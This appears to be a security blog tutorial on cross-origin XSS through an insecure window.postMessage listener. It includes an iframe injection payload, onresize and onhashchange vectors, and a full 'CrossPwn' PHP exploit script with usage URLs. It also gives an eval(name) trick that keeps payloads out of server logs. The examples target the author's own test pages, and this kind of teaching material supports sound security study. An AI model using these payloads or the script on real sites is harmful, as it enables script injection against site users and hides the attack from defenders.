Cross-Origin Scripting

The origin of the XSS term comes from the pre-SOP (Same Origin Policy) age, when the attacks were really against a domain from a domain, hence the use of “cross-site” to describe it. Nowadays it’s more likely to consider XSS as a client-side markup/script injection because these attacks don’t really need to rely on another domain anymore.

There are few exceptions, the ones we will see now. It’s worth to note that the security header X-Frame-Options may render this attack based on iframe unfeasible but that will not stop one using another browser tab or window.

In this simple page, designed to demonstrate a XSS attack in the good and old cross origin style, there’s an insecure use of the HTML5’s window.postMessage API. Its code not only writes in the document (line 11) the data received by the listener function with a poor filtering (line 9) but also does a misleading check of the allowed domains before accepting the data (line 10):

COS-1

It checks for “facebook.com” in the origin of the data sent. It can be easily bypassed using that string in the domain of the sender, like mysite-facebook.com.

But instead of registering and configuring a domain in the world wide web, we can edit the hosts file of our operating system (C:\windows\system32\drivers\etc\hosts in Windows or /etc/hosts in Unix-like systems) to make the browser goes to our desired fake domain. Even better, we can use Google Chrome ability to “create” a fake subdomain of localhost on the fly as we will see below, in a machine running a web server.

Now, to send the message to that page with our XSS payload, we just need to write this on a local page like mypage.html

<iframe src="//brutelogic.com.br/tests/status.html" onload="frames[0].postMessage('<script>alert(document.domain)','*')">

and open it in our Chrome browser:

COS-2

Note the “facebook.com.localhost” in the browser address bar. Our attack page contains an iframe that triggers the javascript code responsible for sending the message when the it gets loaded (onload event). The message is formed by the code needed to bypass the filter at line 9 and it’s sent to the source (src attribute) of the iframe, running in the context of our target.

Using cross origin requests also make possible to exploit targets vulnerable to the following XSS payloads that require user interaction (the first needs window resizing and the second needs a change in the hash part of URL):

<body onresize=alert(1)>
<body onhashchange=alert(1)>

In order to automate all these exploitations, here is a simple PHP script which employs a hidden iframe:

<!DOCTYPE html>
<body onload="crossPwn()">
<h2>CrossPwn</h2>
by <a href="https://twitter.com/brutelogic">@brutelogic</a>
<iframe src="<?php echo htmlentities($_GET['target'], ENT_QUOTES) ?>" name="<?php echo $_GET['name'] ?>" height="0" style="visibility:hidden">
</iframe>
<script>
function crossPwn() {
frames[0].postMessage('<?php echo $_GET["msg"] ?>','*'); // onmessage
document.getElementsByTagName('iframe')[0].setAttribute('height', '1'); // onresize
document.getElementsByTagName('iframe')[0].src = '<?php echo $_GET["target"] ?>' + '#brute'; // onhashchange
}
</script>
</body>
</html>

Usage Examples

onMessage (try on Chrome, Firefox needs hosts file edit):

http://facebook.com.localhost/crosspwn.php?target=//brutelogic.com.br/tests/status.html&msg=<script>alert(document.domain)

onResize (try on Firefox, Chrome Auditor will block it):

http://localhost/crosspwn.php?target=//brutelogic.com.br/webgun/test.php?p=<body/onresize=alert(document.domain)>

onHashchange (try on Firefox, does not work in Chrome):

http://localhost/crosspwn.php?target=//brutelogic.com.br/webgun/test.php?p=<body/onhashchange=alert(document.domain)>

Another advantage of loading the target website in an iframe is the possibility to shorten and hide the injected payload with “eval(name)” as the javascript code, just by using the “name” parameter in URL with any XSS vector:

http://localhost/crosspwn.php?target=//brutelogic.com.br/webgun/test.php?p=<svg/onload=eval(name)>&name=alert(document.domain)

COS-3

This make use of the “name” attribute of the iframe to store the string to be executed by the eval() function which makes that code invisible to the target’s web server logs.

#hack2learn

P.S.: here’s a live example of this technique.

4 thoughts on “Cross-Origin Scripting

Leave a Reply